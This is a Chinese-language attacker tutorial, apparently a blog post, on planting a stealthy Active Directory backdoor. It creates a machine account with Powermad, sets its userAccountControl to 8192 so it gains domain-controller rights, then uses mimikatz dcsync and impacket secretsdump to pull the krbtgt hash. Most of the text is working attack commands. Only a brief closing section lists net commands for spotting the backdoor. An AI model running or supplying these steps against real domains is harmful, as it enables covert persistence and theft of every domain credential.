相比于用域账户添加域管理员来做权限维持要隐蔽一些,也比较便捷,域控制器≥2019不行


前置知识

默认的情况下,域中的标准用户最多可以创建10个机器账户,这是由ms-DS- MachineAccountQuota进行设定的。我们可以使用Powermad等工具从加入域和未加入域的 主机中进行添加账户操作。但为了让机器账户在域中显示为域控制器,我们还需要将 userAccountControl 属性设置为0x2000(SERVER_TRUST_ACCOUNT)的值。0x2000换 算为十进制数字为8192.修改此属性需要域管理员级别的权限

在计算机对象的userAccountControl*属性中设置了 UF_SERVER_TRUST_ACCOUNT 位时, Active Directory 必须将同一对象的 rid(primaryGroupId)设置为域控制器组 的 RID 。因此,只 需更改 userAccountControl 即可授予计算机对象域控制器的权限。

1.png
权限维持时,可以从利用Standln、SharpMad以及PowerMad等工具创建机器账户,这里使用Powermad

实验步骤

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount test1 -Domain test.com -DomainController WIN-
CMESIJO487A.test.com

2.png


##查看一下域内的计算机: 
net group "domain computers"/domain

3.png

powershell下运行(如果要在非DC下执行需要执行命令)

##导入Microsoft.ActiveDirectory.Management.dll Import-Module Microsoft.ActiveDirectory.Management.dll


查看test1机器账户的user Account Control属性值

Get-ADComputer test1 -pro * | Select-object name, primarygroupid, useraccountcontrol

4.png

我们所创建的这台机器账户的rid经过查询是515,他是域组的RID,表示这是一台域计算机, 利用Active-Module模块,使用域管权限账户为计算机账户test1修改 userAccountControl 值 为8192,则rid将更改为属于域控制器的516。

修改机器账户user AccountControl属性值

Set-ADComputer test1 -replace @{"userAccountcontrol" = 8192 }

5.png

这个时候后⻔就已经设置好了

如何利用

由于计算机帐户的密码是已知的,所以可以用来做pth、ptk、ptt、dcsync导出域内hash 在域内机器用添加进去的机器账户启动cmd

Mimikatz

6.png

然后用当前的cmd启动mimikatz

7.png

lsadump::dcsync /domain:test.com /user:krbtgt

8.png

也可以使用impacket工具包里的

python3 secretsdump.py test.com/test1$:[email protected] -just-dc

9.png

排查情况

查看域用户

net user /domain

10.png

查看域计算机

net group "domain computers" /domain

11.png

查看域管理员

net group "domain admins" /domain

12.png

查看域控时间

net time /domain

13.png

查看域内控制器

net group "domain controllers" /domain

14.png

只有在ad管理计算机模块或者查看域控制器的时候才会出现